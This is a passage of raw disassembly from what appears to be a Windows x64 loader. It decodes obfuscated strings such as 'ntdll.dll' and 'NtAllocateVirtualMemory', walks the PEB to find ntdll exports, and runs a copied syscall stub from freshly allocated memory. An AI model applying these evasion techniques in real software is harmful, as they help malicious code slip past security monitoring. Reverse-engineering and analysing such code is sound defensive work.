lea r8d, [rdi - 0x11]
mov dl, 0x50
lea rcx, [rbp + 0xb48]
call fcn.140037254
mov byte [rbp + 0xb53], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, WSAStartup
lea rcx, [rbp + 0xb48]
call fcn.140037254
mov byte [rbp + 0xb54], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x65
lea rcx, [rbp + 0xb48]
call fcn.140037254
mov byte [rbp + 0xb55], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xb48]
call fcn.140037254
mov byte [rbp + 0xb56], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, 0x61
lea rcx, [rbp + 0xb48]
call fcn.140037254
mov byte [rbp + 0xb57], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, WSAStartup
lea rcx, [rbp + 0xb48]
call fcn.140037254
mov byte [rbp + 0xb58], al
mov r9d, edi
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0xb48]
call fcn.140037254
mov byte [rbp + 0xb59], al
mov r9d, edi
mov r8, rbx
mov dl, r15b
lea rcx, [rbp + 0xb48]
call fcn.140037254
mov byte [rbp + 0xb5a], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x49
lea rcx, [rbp + 0xb48]
call fcn.140037254
mov byte [rbp + 0xb5b], al
mov r9d, edi
lea r8d, [rdi - 8]
mov dl, 0x6d
lea rcx, [rbp + 0xb48]
call fcn.140037254
mov byte [rbp + 0xb5c], al
mov r9d, edi
mov r8, rsi
mov dl, 0x61
lea rcx, [rbp + 0xb48]
call fcn.140037254
mov byte [rbp + 0xb5d], al
mov r9d, edi
mov r8, r12
mov dl, 0x67
lea rcx, [rbp + 0xb48]
call fcn.140037254
mov byte [rbp + 0xb5e], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, 0x65
lea rcx, [rbp + 0xb48]
call fcn.140037254
mov byte [rbp + 0xb5f], al
mov r9d, edi
mov r8, r14
mov dl, r15b
lea rcx, [rbp + 0xb48]
call fcn.140037254
mov byte [rbp + 0xb60], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x30
lea rcx, [rbp + 0xb48]
call fcn.140037254
mov byte [rbp + 0xb61], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, 0x78
lea rcx, [rbp + 0xb48]
call fcn.140037254
mov byte [rbp + 0xb62], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, reloc.WLDAP32.dll_Ordinal_50
lea rcx, [rbp + 0xb48]
call fcn.140037254
mov byte [rbp + 0xb63], al
xor eax, eax
mov byte [rbp + 0xb64], al
xor r10d, r10d
mov r8d, r10d
mov r9d, edi
lea ebx, [rdi - 0x1a]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0xb48]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x1b]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xb48]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xb49], dil
add r8, rbx
add r9, 0x1b
cmp r9, 0x2f4
jb 0x1400309d5
mov byte [rbp + 0xb64], r10b
xor r9d, r9d
lea r8, [rbp + 0xb31]
lea rdx, [rbp + 0xb49]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.14009bc48
int3
mov rax, qword [rbp + 0xcd8]
mov qword [rbp - 0x60], rax
mov qword [rbp + 0xd20], r9
mov qword [rbp + 0xef8], 0x1000
mov byte [rbp + 0x758], 0x44
mov r9, r14
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x758]
call fcn.140036134
mov byte [rbp + 0x759], al
mov r9, r14
mov r15d, 1
mov r8d, r15d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x758]
call fcn.140036134
mov byte [rbp + 0x75a], al
mov r9, r14
lea r8d, [r15 + 1]
mov dl, 0x41
lea rcx, [rbp + 0x758]
call fcn.140036134
mov byte [rbp + 0x75b], al
mov r9, r14
lea r8d, [r15 + 2]
mov dl, 0x6c
lea rcx, [rbp + 0x758]
call fcn.140036134
mov byte [rbp + 0x75c], al
mov r9, r14
lea r8d, [r15 + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x758]
call fcn.140036134
mov byte [rbp + 0x75d], al
mov r9, r14
lea r8d, [r15 + 4]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x758]
call fcn.140036134
mov byte [rbp + 0x75e], al
mov r9, r14
lea r8d, [r15 + 5]
mov dl, 0x63
lea rcx, [rbp + 0x758]
call fcn.140036134
mov byte [rbp + 0x75f], al
mov r9, r14
lea r8d, [r15 + 6]
mov dl, 0x61
lea rcx, [rbp + 0x758]
call fcn.140036134
mov byte [rbp + 0x760], al
mov r9, r14
lea r8d, [r15 + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x758]
call fcn.140036134
mov byte [rbp + 0x761], al
mov r9, r14
lea r8d, [r15 + 8]
mov dl, 0x65
lea rcx, [rbp + 0x758]
call fcn.140036134
mov byte [rbp + 0x762], al
mov r9, r14
lea r8d, [r15 + 9]
mov dl, 0x56
lea rcx, [rbp + 0x758]
call fcn.140036134
mov byte [rbp + 0x763], al
mov r9, r14
lea r8d, [r15 + 0xa]
mov dl, 0x69
lea rcx, [rbp + 0x758]
call fcn.140036134
mov byte [rbp + 0x764], al
mov r9, r14
lea r8d, [r15 + 0xb]
mov dl, WSAStartup
lea rcx, [rbp + 0x758]
call fcn.140036134
mov byte [rbp + 0x765], al
mov r9, r14
lea r8d, [r15 + 0xc]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x758]
call fcn.140036134
mov byte [rbp + 0x766], al
mov r9, r14
lea r8d, [r15 + 0xd]
mov dl, 0x75
lea rcx, [rbp + 0x758]
call fcn.140036134
mov byte [rbp + 0x767], al
mov r9, r14
lea r8d, [r15 + 0xe]
mov dl, 0x61
lea rcx, [rbp + 0x758]
call fcn.140036134
mov byte [rbp + 0x768], al
mov r9, r14
mov r8, r13
mov dl, 0x6c
lea rcx, [rbp + 0x758]
call fcn.140036134
mov byte [rbp + 0x769], al
mov r9, r14
mov r8, rbx
mov dl, 0x4d
lea rcx, [rbp + 0x758]
call fcn.140036134
mov byte [rbp + 0x76a], al
mov r9, r14
lea r8d, [r15 + 0x11]
mov dl, 0x65
lea rcx, [rbp + 0x758]
call fcn.140036134
mov byte [rbp + 0x76b], al
mov r9, r14
lea r8d, [r15 + 0x12]
mov dl, 0x6d
lea rcx, [rbp + 0x758]
call fcn.140036134
mov byte [rbp + 0x76c], al
mov r9, r14
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x758]
call fcn.140036134
mov byte [rbp + 0x76d], al
mov r9, r14
mov r8, r12
mov dl, WSAStartup
lea rcx, [rbp + 0x758]
call fcn.140036134
mov byte [rbp + 0x76e], al
mov r9, r14
lea r8d, [r15 + 0x15]
mov dl, 0x79
lea rcx, [rbp + 0x758]
call fcn.140036134
mov byte [rbp + 0x76f], al
xor eax, eax
mov byte [rbp + 0x770], al
mov edi, eax
mov r9, r14
mov r8, rdi
mov dl, byte [rbp + rdi + 0x759]
lea rcx, [rbp + 0x758]
call fcn.140036134
mov byte [rbp + rdi + 0x759], al
add rdi, r15
cmp rdi, r14
jb 0x140030d09
xor edi, edi
mov byte [rbp + 0x770], dil
mov byte [rbp + 0x168], 0x45
lea r15d, [rdi + 9]
mov r9d, r15d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x168]
call fcn.140035cf8
mov byte [rbp + 0x169], al
mov r9d, r15d
lea r13d, [rdi + 1]
mov r8d, r13d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x168]
call fcn.140035cf8
mov byte [rbp + 0x16a], al
mov r9d, r15d
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x168]
call fcn.140035cf8
mov byte [rbp + 0x16b], al
mov r9d, r15d
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x168]
call fcn.140035cf8
mov byte [rbp + 0x16c], al
mov r9d, r15d
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x168]
call fcn.140035cf8
mov byte [rbp + 0x16d], al
mov r9d, r15d
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x168]
call fcn.140035cf8
mov byte [rbp + 0x16e], al
mov r9d, r15d
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x168]
call fcn.140035cf8
mov byte [rbp + 0x16f], al
mov r9d, r15d
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x168]
call fcn.140035cf8
mov byte [rbp + 0x170], al
mov r9d, r15d
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x168]
call fcn.140035cf8
mov byte [rbp + 0x171], al
xor eax, eax
mov byte [rbp + 0x172], al
lea r15d, [rdi + 0x20]
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x169]
lea rcx, [rbp + 0x168]
call fcn.140035cf8
mov byte [rbp + rdi + 0x169], al
add rdi, r13
cmp rdi, 9
jb 0x140030e46
xor eax, eax
mov byte [rbp + 0x172], al
mov rax, qword gs:[0x60]
test rax, rax
mov r13d, reloc.WS2_32.dll_recv
je 0x1400311e3
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x78], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x70], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x60], ecx
movsxd rcx, eax
inc rcx
call fcn.140094f74
mov r9, rax
mov qword [rbp - 0x40], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x70]
test r8d, r8d
jle 0x140030f18
lea r12d, [rax + 1]
mov r10d, r12d
mov rsi, qword [rsp + 0x68]
mov ecx, r10d
cmp word [rsi + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [rsi + rdx*2]
mov byte [r9 + rdx], al
add r10d, r12d
add rdx, r12
cmp rdx, r8
jl 0x140030eec
mov esi, reloc.WS2_32.dll_sendto
lea r12d, [rsi + 1]
mov dword [rsp + 0x60], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x60]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bc500
mov rcx, qword [rbp - 0x40]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x140030f74
mov rax, rcx
lea r9, [rbp + 0x169]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140030f6d
add rax, r11
test edx, edx
jne 0x140030f58
test r8d, r8d
cmove edi, r11d
call fcn.140094cf0
test dil, dil
jne 0x140030f98
mov rax, qword [rbp - 0x78]
mov rax, qword [rax]
mov qword [rbp - 0x78], rax
cmp rax, qword [rbp - 0x28]
jne 0x140030ea2
jmp 0x1400311e3
mov rcx, qword [rbp - 0x78]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x1400311e3
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400311e3
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400311e3
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x1400311e3
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x28], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
xor edx, edx
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x40], rax
test rax, rax
je 0x1400311e3
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x759]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140031028
inc rax
test edi, edi
jne 0x140031013
test r8d, r8d
je 0x14003103b
inc rdx
cmp rdx, qword [rbp - 0x40]
jb 0x140031002
jmp 0x1400311e3
mov rax, qword [rbp - 0x28]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x1400311e3
mov eax, dword [rdx + 4]
mov dword [rsp + 0x70], eax
mov ecx, 1
cmp eax, ecx
jl 0x1400311e3
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x48], rax
call fcn.140094c90
or dword [rbp + 0x281f4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x26e70]
call fcn.140036bc4
lea rcx, [rbp + 0x26e70]
call fcn.1400365dc
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x40], r8
xor eax, eax
mov edi, eax
lea r14d, [rax + 1]
lea rcx, [rbp + 0x26e70]
call fcn.1400365dc
mov eax, eax
mov qword [rbp + rdi*8 + 0x47490], rax
add rdi, r14
cmp rdi, 0x200
jl 0x1400310e1
mov r14d, 0x1000
mov r8d, r14d
lea rdx, [rbp + 0x47490]
mov rdi, qword [rbp - 0x48]
mov rcx, rdi
call fcn.1400bc500
mov eax, dword [rsp + 0x70]
mov dword [0x1400e8364], eax
add rdi, qword [rbp - 0x40]
movsd xmm0, qword [0x1400e8360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400e8368]
mov word [rdi + 8], ax
mov al, byte [0x1400e836a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xe78], eax
lea r9, [rbp + 0xe78]
mov r8d, r15d
mov edx, r14d
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0xef8]
xor r8d, r8d
lea rdx, [rbp + 0xd20]
mov rcx, qword [rbp - 0x60]
call rdi
mov edi, eax
lea r9, [rbp + 0xe78]
mov r8d, dword [rbp + 0xe78]
mov edx, r14d
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, r14d
xor edx, edx
mov rcx, qword [rbp - 0x48]
call fcn.1400bcba0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400e8364], eax
test edi, edi
lea r14d, [rax + 0x17]
js 0x1400311f7
mov rax, qword [rbp + 0xd20]
mov qword [rbp - 0x78], rax
test rax, rax
jne 0x1400317e8
mov word [rbp + 0x410], 0x7441
mov r9, rbx
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x410]
call fcn.140035de8
mov byte [rbp + 0x412], al
mov r9, rbx
mov r8d, 2
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x410]
call fcn.140035de8
mov byte [rbp + 0x413], al
mov r9, rbx
mov r8d, 3
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x410]
call fcn.140035de8
mov byte [rbp + 0x414], al
mov r9, rbx
mov r8d, 4
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x410]
call fcn.140035de8
mov byte [rbp + 0x415], al
mov r9, rbx
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x410]
call fcn.140035de8
mov byte [rbp + 0x416], al
mov r9, rbx
mov r8d, 6
mov dl, WSAStartup
lea rcx, [rbp + 0x410]
call fcn.140035de8
mov byte [rbp + 0x417], al
mov r9, rbx
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0x410]
call fcn.140035de8
mov byte [rbp + 0x418], al
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x410]
call fcn.140035de8
mov byte [rbp + 0x419], al
mov r9, rbx
mov r8d, 9
mov dl, r15b
lea rcx, [rbp + 0x410]
call fcn.140035de8
mov byte [rbp + 0x41a], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x46
lea rcx, [rbp + 0x410]
call fcn.140035de8
mov byte [rbp + 0x41b], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x410]
call fcn.140035de8
mov byte [rbp + 0x41c], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0x410]
call fcn.140035de8
mov byte [rbp + 0x41d], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x410]
call fcn.140035de8
mov byte [rbp + 0x41e], al
mov r9, rbx
mov r8d, select
mov dl, 0x75
lea rcx, [rbp + 0x410]
call fcn.140035de8
mov byte [rbp + 0x41f], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0x410]
call fcn.140035de8
mov byte [rbp + 0x420], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x410]
call fcn.140035de8
mov byte [rbp + 0x421], al
xor eax, eax
mov byte [rbp + 0x422], al
xor r10d, r10d
mov r8d, r10d
mov r9, rbx
lea r11d, [rax + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x410]
add eax, r11d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x410]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x411], dil
add r8, r11
add r9, rbx
cmp r9, 0x132
jb 0x1400313ed
xor r10d, r10d
mov byte [rbp + 0x422], r10b
mov word [rbp + 0x860], 0x77b
lea edi, [r10 + 0x1b]
mov r9d, edi
mov r8, r11
mov dl, 0x61
lea rcx, [rbp + 0x860]
call fcn.140037254
mov byte [rbp + 0x862], al
mov r9d, edi
lea r8d, [rdi - 0x19]
mov dl, 0x69
lea rcx, [rbp + 0x860]
call fcn.140037254
mov byte [rbp + 0x863], al
mov r9d, edi
lea r8d, [rdi - 0x18]
mov dl, 0x6c
lea rcx, [rbp + 0x860]
call fcn.140037254
mov byte [rbp + 0x864], al
mov r9d, edi
lea r8d, [rdi - 0x17]
mov dl, 0x65
lea rcx, [rbp + 0x860]
call fcn.140037254
mov byte [rbp + 0x865], al
mov r9d, edi
lea r8d, [rdi - 0x16]
mov dl, 0x64
lea rcx, [rbp + 0x860]
call fcn.140037254
mov byte [rbp + 0x866], al
mov r9d, edi
lea r8d, [rdi - 0x15]
mov dl, r15b
lea rcx, [rbp + 0x860]
call fcn.140037254
mov byte [rbp + 0x867], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x860]
call fcn.140037254
mov byte [rbp + 0x868], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x860]
call fcn.140037254
mov byte [rbp + 0x869], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, r15b
lea rcx, [rbp + 0x860]
call fcn.140037254
mov byte [rbp + 0x86a], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, 0x50
lea rcx, [rbp + 0x860]
call fcn.140037254
mov byte [rbp + 0x86b], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, WSAStartup
lea rcx, [rbp + 0x860]
call fcn.140037254
mov byte [rbp + 0x86c], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x860]
call fcn.140037254
mov byte [rbp + 0x86d], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x860]
call fcn.140037254
mov byte [rbp + 0x86e], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, 0x61
lea rcx, [rbp + 0x860]
call fcn.140037254
mov byte [rbp + 0x86f], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, WSAStartup
lea rcx, [rbp + 0x860]
call fcn.140037254
mov byte [rbp + 0x870], al
mov r9d, edi
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x860]
call fcn.140037254
mov byte [rbp + 0x871], al
mov r9d, edi
mov r8, rbx
mov dl, r15b
lea rcx, [rbp + 0x860]
call fcn.140037254
mov byte [rbp + 0x872], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x49
lea rcx, [rbp + 0x860]
call fcn.140037254
mov byte [rbp + 0x873], al
mov r9d, edi
lea r8d, [rdi - 8]
mov dl, 0x6d
lea rcx, [rbp + 0x860]
call fcn.140037254
mov byte [rbp + 0x874], al
mov r9d, edi
mov r8, rsi
mov dl, 0x61
lea rcx, [rbp + 0x860]
call fcn.140037254
mov byte [rbp + 0x875], al
mov r9d, edi
mov r8, r12
mov dl, 0x67
lea rcx, [rbp + 0x860]
call fcn.140037254
mov byte [rbp + 0x876], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, 0x65
lea rcx, [rbp + 0x860]
call fcn.140037254
mov byte [rbp + 0x877], al
mov r9d, edi
mov r8, r14
mov dl, r15b
lea rcx, [rbp + 0x860]
call fcn.140037254
mov byte [rbp + 0x878], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x30
lea rcx, [rbp + 0x860]
call fcn.140037254
mov byte [rbp + 0x879], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, 0x78
lea rcx, [rbp + 0x860]
call fcn.140037254
mov byte [rbp + 0x87a], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, 0x33
lea rcx, [rbp + 0x860]
call fcn.140037254
mov byte [rbp + 0x87b], al
xor eax, eax
mov byte [rbp + 0x87c], al
xor r10d, r10d
mov r8d, r10d
mov r9d, edi
lea ebx, [rdi - 0x1a]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x860]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x1b]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x860]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x861], dil
add r8, rbx
add r9, 0x1b
cmp r9, 0x2f4
jb 0x14003174f
mov byte [rbp + 0x87c], r10b
xor r9d, r9d
lea r8, [rbp + 0x411]
lea rdx, [rbp + 0x861]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.14009bc48
int3
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x28]
mov rcx, qword [rbp + 0xe10]
add rax, rcx
mov r12d, 1
mov dword [0x1400e8339], r12d
mov rdx, qword [rbp - 0x50]
mov qword [0x1400e833f], rdx
mov qword [0x1400e8349], rcx
mov qword [0x1400e8353], rax
mov rax, qword [rbp + 0xcd8]
mov qword [rbp - 0x60], rax
mov word [rbp + 0x650], 0xbd30
mov r9, rsi
mov r8d, r12d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x650]
call fcn.1400364e8
mov byte [rbp + 0x652], al
mov r9, rsi
lea r8d, [r12 + 1]
mov dl, 0x57
lea rcx, [rbp + 0x650]
call fcn.1400364e8
mov byte [rbp + 0x653], al
mov r9, rsi
lea r8d, [r12 + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x650]
call fcn.1400364e8
mov byte [rbp + 0x654], al
mov r9, rsi
lea r8d, [r12 + 3]
mov dl, 0x69
lea rcx, [rbp + 0x650]
call fcn.1400364e8
mov byte [rbp + 0x655], al
mov r9, rsi
lea r8d, [r12 + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x650]
call fcn.1400364e8
mov byte [rbp + 0x656], al
mov r9, rsi
lea r8d, [r12 + 5]
mov dl, 0x65
lea rcx, [rbp + 0x650]
call fcn.1400364e8
mov byte [rbp + 0x657], al
mov r9, rsi
lea r8d, [r12 + 6]
mov dl, 0x56
lea rcx, [rbp + 0x650]
call fcn.1400364e8
mov byte [rbp + 0x658], al
mov r9, rsi
lea r8d, [r12 + 7]
mov dl, 0x69
lea rcx, [rbp + 0x650]
call fcn.1400364e8
mov byte [rbp + 0x659], al
mov r9, rsi
lea r8d, [r12 + 8]
mov dl, WSAStartup
lea rcx, [rbp + 0x650]
call fcn.1400364e8
mov byte [rbp + 0x65a], al
mov r9, rsi
lea r8d, [r12 + 9]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x650]
call fcn.1400364e8
mov byte [rbp + 0x65b], al
mov r9, rsi
lea r8d, [r12 + 0xa]
mov dl, 0x75
lea rcx, [rbp + 0x650]
call fcn.1400364e8
mov byte [rbp + 0x65c], al
mov r9, rsi
lea r8d, [r12 + 0xb]
mov dl, 0x61
lea rcx, [rbp + 0x650]
call fcn.1400364e8
mov byte [rbp + 0x65d], al
mov r9, rsi
lea r8d, [r12 + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x650]
call fcn.1400364e8
mov byte [rbp + 0x65e], al
mov r9, rsi
lea r8d, [r12 + 0xd]
mov dl, 0x4d
lea rcx, [rbp + 0x650]
call fcn.1400364e8
mov byte [rbp + 0x65f], al
mov r9, rsi
lea r8d, [r12 + 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x650]
call fcn.1400364e8
mov byte [rbp + 0x660], al
mov r9, rsi
mov r8, r13
mov dl, 0x6d
lea rcx, [rbp + 0x650]
call fcn.1400364e8
mov byte [rbp + 0x661], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x650]
call fcn.1400364e8
mov byte [rbp + 0x662], al
mov r9, rsi
lea r8d, [r12 + 0x11]
mov dl, WSAStartup
lea rcx, [rbp + 0x650]
call fcn.1400364e8
mov byte [rbp + 0x663], al
mov r9, rsi
lea r8d, [r12 + 0x12]
mov dl, 0x79
lea rcx, [rbp + 0x650]
call fcn.1400364e8
mov byte [rbp + 0x664], al
xor eax, eax
mov byte [rbp + 0x665], al
mov r8d, eax
mov r9, rsi
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x650]
add eax, r12d
movsxd rdi, eax
lea rax, [r8 + 0x14]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x650]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x651], dil
add r8, r12
add r9, rsi
cmp r9, 0x1a4
jb 0x140031a59
xor edi, edi
mov byte [rbp + 0x665], dil
mov word [rbp + 0x178], 0xe04e
lea r9d, [rdi + 9]
mov r8, r12
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x178]
call fcn.140035cf8
mov byte [rbp + 0x17a], al
lea r12d, [rdi + 9]
mov r9d, r12d
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x178]
call fcn.140035cf8
mov byte [rbp + 0x17b], al
mov r9d, r12d
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x178]
call fcn.140035cf8
mov byte [rbp + 0x17c], al
mov r9d, r12d
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x178]
call fcn.140035cf8
mov byte [rbp + 0x17d], al
mov r9d, r12d
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x178]
call fcn.140035cf8
mov byte [rbp + 0x17e], al
mov r9d, r12d
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x178]
call fcn.140035cf8
mov byte [rbp + 0x17f], al
mov r9d, r12d
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x178]
call fcn.140035cf8
mov byte [rbp + 0x180], al
mov r9d, r12d
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x178]
call fcn.140035cf8
mov byte [rbp + 0x181], al
xor eax, eax
mov byte [rbp + 0x182], al
mov r8d, edi
mov r9d, r12d
lea r12d, [rdi + 0x15]
lea r10d, [rdi + 1]
movabs r11, 0x8080808080808081
